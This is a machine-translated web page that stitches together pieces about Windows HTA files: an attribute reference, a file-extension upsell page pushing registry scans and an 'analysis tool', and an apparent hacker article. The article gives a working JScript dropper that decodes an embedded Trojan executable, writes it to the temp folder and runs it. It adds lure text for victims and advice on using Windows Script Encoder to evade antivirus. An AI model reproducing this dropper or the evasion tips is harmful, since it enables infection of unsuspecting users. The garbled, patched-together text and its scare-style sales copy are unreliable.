HTML applications. HTA file extension
HTA format or how to turn a web page into a program
So. Having opened the *.hta file with a text editor, as expected, I saw a bunch of tags. Everything seems clear and accessible. The only difference is the field in the HEAD section. This field specifies parameters related to appearance window in which HTML content will be displayed, since the *.hta file is completely self-sufficient and does not require anything other than having IE version > 5.0 on the computer. And the parameters there are:
APPLICATIONNAME
The attribute is APPLICATIONNAME, the property is applicationName. Contains the application name. This property is read-only and has no default value. If the singleInstance property is set to true, the value of applicationName is automatically checked before the application instance is launched. For the test to succeed, the value of applicationName must be unique. So the value of the applicationName property is used to identify uniqueness running application, regardless URLs, used to access it. BORDER
Attribute - BORDER, property - border. Contains the HTML application window border type. This property is read-only and has a default value of "thick". The border property affects the thickness of the border and is only valid for HTA windows that have a title bar and a title bar. By setting border to "none", you remove the title bar, program icon, and maximize and minimize buttons. This property can be used with the borderStyle property.
Possible values:
thick Default. Thick window border, plus border for window resizing.
dialog Border of the dialog box.
none Window without border.
thin Thin window border with title.
BORDERSTYLE
Attribute - BORDERSTYLE, property - borderStyle. Contains the border style of the client area of an HTML application window. This property is read-only and has a default value of "normal". The borderStyle property sets the style for the border of the window's contents, while border property controls the border of the application window.
Possible values:
normal Default. Normal curb.
complex Raised and recessed border.
raised Raised 3-D border.
static 3-D border, typically used for windows that do not process user input.
sunken Recessed 3-D border. CAPTION
The attribute is CAPTION, the property is caption. Determines whether the HTML application window displays a title bar. This property is read-only and has a default value of "yes". The application title (title) is only displayed when the caption property is set to yes. Disabling the caption property will also disable the Collapse, Maximize, and soft icon buttons. In this case you must provide alternative way exiting the application, for example, a button calling the close method of the window object.
Possible values:
yes Default. The title bar is displayed.
no The title bar is not displayed. COMMANDLINE
Property - commandLine. A string that contains the path and parameters command line, which were used to run the HTA application. This property is read-only and has no default value. If the HTA application was launched using HTTP protocol, the commandLine property contains an empty string.
CONTEXTMENU
The attribute is CONTEXTMENU, the property is contextMenu. Determines whether context menu when you click on right button mice. This property is read-only and has a default value of "yes".
Possible values:
yes Default. The context menu appears.
no The context menu does not appear. ICON
Attribute - ICON, property - icon. Defines the path to the icon file used in the HTML application. This property is read-only and has a default value of "System Application Icon". HTA uses system icon, if the value is undefined. The icon attribute recognizes standard files with the .ico extension, containing a 32x32 pixel image. INNERBORDER
The attribute is INNERBORDER, the property is innerBorder. Determines whether the internal 3-D border is displayed. This property is read-only and has a default value of "yes".
Possible values:
yes Default. The inner 3-D boundary is displayed.
no The internal 3-D boundary is not displayed. MAXIMIZEBUTTON
The attribute is MAXIMIZEBUTTON, the property is maximizeButton. Determines whether the Maximize button is displayed in the title bar of the HTML application window. This property is read-only and has a default value of "yes". In order for the Collapse and Maximize buttons to be displayed, the window must have a title bar (caption attribute).
Possible values:
yes Default. The Expand button is displayed.
no The Expand button is not displayed. MINIMIZEBUTTON
Attribute - MINIMIZEBUTTON, property - minimizeButton. Determines whether the Collapse button is displayed in the title bar of the HTML application window. This property is read-only and has a default value of "yes". In order for the Collapse and Maximize buttons to be displayed, the window must have a title bar (caption attribute).
Possible values:
yes Default. The Collapse button is displayed.
no The Collapse button is not displayed. NAVIGABLE Attribute - NAVIGABLE, property - navigable. Determines in which window downloaded documents will open: in the main HTML application window, or in a new window. This property is read-only and has a default value of "no".
Possible values:
no Default. Will open in new windows.
yes Will open in the main window. SCROLL
The attribute is SCROLL, the property is scroll. Determines whether scroll bars are displayed. This property is read-only and has a default value of "yes". Setting the body.scroll property to "no" is an alternative way to prevent scrollbars from appearing.
Possible values:
yes Default. Scroll bars are displayed.
no Scroll bars are not displayed.
auto Scroll bars appear only when the content of the document does not fit in the client area of the window. SCROLLFLAT
The attribute is SCROLLFLAT, the property is scrollFlat. Determines whether scroll bars will be displayed in 3-dimensional or 2-dimensional form. This property is read-only and has a default value of "no".
Possible values:
yes Scroll bars are two-dimensional.
no Default. Scroll bars are three-dimensional. SELECTION
Attribute - SELECTION, property - selection. Determines whether document content can be selected with the mouse or keyboard. Setting the SELECTION attribute to "no" prevents the context menu from appearing. In this case, setting the CONTEXTMENU attribute to "yes" will have no effect. The use of editable elements in the document overrides the value of selection. Any object can be selected when the contentEditable property is set to true anywhere in an HTML application. This property is read-only and has a default value of "yes".
Possible values:
yes Default. Content can be selected.
no Content cannot be selected. SHOWINTASKBAR
The attribute is SHOWINTASKBAR, the property is showInTaskBar. Determines whether the HTML application will appear in the panel Windows tasks. The showInTaskBar property does not affect the appearance of the application in the list of applications that appears when the user presses ALT+TAB. This property is read-only and has a default value of "yes".
Possible values:
yes Default. The application appears on the taskbar.
no The application does not appear on the taskbar. SINGLEINSTANCE
The attribute is SINGLEINSTANCE, the property is showInTaskBar. Determines whether more than one instance of the HTML application can be running at the same time. This property is read-only and has a default value of "no".
Possible values:
yes Only one instance of the application can be running.
no Default. Several instances of the application can be running simultaneously. SYSMENU
Attribute - SYSMENU, property - sysmenu. Determines whether the system menu is displayed in an HTML application. System menu HTA is indicated by a software icon in the left corner of the title bar. The HTA system menu shows all the commands included in the standard system Windows menu, including Restore, Move, Resize, Collapse, Maximize, and Close. This property is read-only and has a default value of "yes".
Possible values:
yes Default. The system menu is displayed in the title bar.
no The system menu is not displayed in the title bar. VERSION
The attribute is VERSION, the property is version. Identifies the number HTML versions applications (string). This property is read-only and has no default value. WINDOWSTATE
The attribute is WINDOWSTATE, the property is windowState. Defines initial dimensions HTML application windows. This property is read-only and has a default value of "normal".
Possible values:
normal Default. Window size - standard size For Microsoft Internet Explorer.
minimize Only the window title appears on the taskbar.
maximize The window appears maximized to fill the entire screen.
And the possibility of use in such Java files and VB scripts allow you to do anything at all. In addition, they are executed in the “My Computer” zone, just like regular applications, which significantly reduces the security requirements for scripts on the part of IE.
In general, with a little imagination, I created a simple menu for launching applications from a flash drive, which I am posting here. Look, figure it out.
Senior Technology Writer
Someone sent you a e-mail HTA file and you don't know how to open it? Maybe you found an HTA file on your computer and were wondering what it was? Windows may tell you that you cannot open it, or in the worst case, you may encounter a corresponding error message associated with the HTA file.
Before you can open an HTA file, you need to find out what kind of file the HTA file extension is.
Tip: Incorrect HTA file association errors can be a symptom of other underlying issues within your Windows operating system. These invalid entries can also produce associated symptoms such as slow Windows startups, computer freezes, and other PC performance issues. Therefore, it is highly recommended that you scan your Windows registry for invalid file associations and other issues related to a fragmented registry.
Answer:HTA files have Executable files, which are primarily associated with the Hypertext Application.
HTA files are also associated with Hemera Thumbnail Archive (Hemera Technologies Inc.), Tonline BSW4 File and FileViewPro.
Additional types of files may also be using the HTA file extension. If you are aware of any other file formats that use the HTA file extension, please contact us so we can update our information accordingly.
How to open your HTA file:The fastest and easy way Opening your HTA file means double-clicking on it. IN in this case Windows system she will choose the necessary program to open your HTA file.
In case your HTA file does not open, it is very likely that the necessary software is not installed on your PC. application program to view or edit files with HTA extensions.
If your PC opens the HTA file, but it's in the wrong program, you'll need to change your file association settings. Windows registry. In other words, Windows associates HTA file extensions with the wrong program.
Install optional products - FileViewPro (Solvusoft) | | | |
HTA File Analysis Tool™Not sure what type the HTA file is? Do you want to get precise information about a file, its creator and how it can be opened?
Now you can instantly get all necessary information about the HTA file!
Revolutionary HTA File Analysis Tool™ scans, analyzes and reports detailed information about the HTA file. Our patent-pending algorithm quickly analyzes the file and provides detailed information within seconds in a clear, easy-to-read format.†
In just a few seconds, you'll know exactly what type of HTA file you have, the application associated with the file, the name of the user who created the file, the file's security status, and other useful information.
To get started free analysis file, simply drag and drop your HTA file inside the dotted line below or click "Browse My Computer" and select the file. The HTA file analysis report will be shown below, right in the browser window.
View my computer »
Please also check my file for viruses
Your file is being analyzed... please wait.
One day, while flipping through MSDN, I accidentally came across
description of one technology that, as it turns out, is still supported
since MSIE version 5. It's called HTML Applications. The point is
what if the html content is saved to a file with the extension .hta and between
and insert a special tag then to this content
no security restrictions apply, i.e. any controls can be present on the page, scripts can
create any COM objects, write to any files and access
content in frames, regardless of what domain it came from
loaded. This makes it possible to create
Full-featured applications with HTML interface. If JavaScript is not suitable for certain parts
programs, then they can be implemented as ActiveX objects, and DHTML
use only for creating GUI. Obviously, this technology appeared
due to the tendency to use the MSIE engine, where it is necessary and where it is not necessary. About security
the small softies thought too. Simple insertion tag
does not turn the paga into a trusted source. If you open
a link to the hta file, then, as when opening exe files from the Internet,
a dialog appears with the buttons “Open”, “Save” and
etc., warning that this content may be dangerous.
Everything is correct, but an experienced Trojan distributor will be able to sell such
file to a user who does not know about this technology. And what about the possibilities of scripts?
and components installed on any Windows car,
enough to download and install some program, register in startup and
even erase all files if available to the current user. An HTA file can be quite functional and useful
application. Although using this technology in commercial software
difficult, since HTML/JavaScript is executed in source form and,
therefore, cannot contain paid or secret algorithms.
APPLICATION tag attributes
This tag cannot contain any tags or
text, but requires a closing tag. You can write it like this:
, or you can do this:
, as in XML.
The APPLICATION tag has quite a few attributes, with
which set the window properties. All of them are optional, and if
you don’t care about the appearance of your application window, then you don’t have to specify them. Attributes are accessible from scripts, allowing you to change properties
windows, minimize/expand, etc. Here is a list of attributes with brief explanations:
applicationName — application name
version - its version
border — window border type
borderStyle — border style
caption - whether to show the window title
commandLine - returns command line arguments
contextMenu - whether to show the context menu
icon - window icon
innerBorder - internal 3D frame
maximizeButton
minimizeButton
sysMenu - whether to show the corresponding buttons
navigable - open links in the same window
scroll,
scrollFlat — scrollbar properties
selection - allow selection
showInTaskBar — show in taskbar
singleInstance - only one instance can be launched
windowState — window state
Start from HTML
Now specific example what can be done with
the ability to sell an HTA file to the user. Let's say you have a ready
Trojan in the form of an exe file, and you can’t wait to combine it with the new one
technology. Trojans are usually small, and I think that's okay
won't happen if the size of our HTML application is a little larger.
In order to insert binary data into text, we need it
encode. JavaScript supports standard URL encoding.
This method is only suitable if there are few non-text characters in the code. If
there are a lot of them (and this usually happens, since inside the exe files there are headers and
sections are padded with zeros for alignment), then this method is not the most
good. In the worst case, the code will be three times longer than the original one. Much
it would be better to use base64 encoding, in which the size of any data
increases by 33%, but I did not find any built-in ones in JavaScript
base64 encoding and decoding tools, and implement them directly in
JavaScript is kind of ugly, IMHO. So we will encode the function
escape(), and decode - unescape(). The experiment shows that these
functions work with strings of any length. So you can write down the whole
executable one string constant in the script.
So, the algorithm that needs to be implemented in the script is this:
1) Decode the content executable file
2) Write it down
3) Launch
Let us note one point: it is important not to get overwhelmed with choosing a place for
file. If the user is not an admin, then it will not be possible to write a file anywhere.
You need to find out the path from the system, for example, temp folders(and we will do this
Same using JavaScript), and write the file there.
So, the configured HTA file might look something like this.
code = "MZ%90%00%03%00%00%00%04 ......"; // Encoded Trojan
var fso = new ActiveXObject("Scripting.FileSystemObject");
var tf = fso.GetSpecialFolder(2); // Get windows\temp
var fn = tf + "\\x.exe"; // Add a file name
var a = fso.CreateTextFile(fn, true); // Write the body of the Trojan to a file
a.Write(unescape(code));
a.Close();
var WshShell = new ActiveXObject("WScript.Shell");
WshShell.Exec(fn); // Let's run it
Hi dude!
TheBat does not show images, so open this file in Explorer.
It’s also a good idea to protect the script from detection by an antivirus.
There are programs that change scripts beyond recognition. They're called
obfuscators (you can read more about them in). Microsoft offers its own obfuscator - Windows Script
Encoder. It encrypts scripts, and the decryptor is built into the system.
The instructions honestly warn that Windows Script Encoder will not protect
code from a dedicated hacker. It may not protect you from a hacker, but from
antivirus will protect. You just need to feed it the finished HTA file,
and instead of the script some kind of abracadabra will appear, and instead of
"JavaScript" will be written "JavaScript.Encoded". We must not forget that the exe component also needs
make it unrecognizable as it is written to disk, and at the same time
can be detected by an antivirus monitor.
HTML applications
Beginning with Internet Explorer 5.0 it became possible to create HTML applications with any user interface at JavaScript help or VBScript. Moreover, the created html application will be launched outside the browser and will not differ in any way from standard Windows applications.
The created application will be present on the taskbar, with its own window, menu and icon. Plus, there is no need to confirm the use of ActiveX components (system Internet protection Explorer expects you to see warning messages when you try to use ActiveX in HTML documents.) You have full control over the system, including reading/writing files, registry data, process management. To create such an application, a regular Notepad (or other text editor) is enough.
HTML application data must have a *.hta extension. The simplest case will look like this:
My program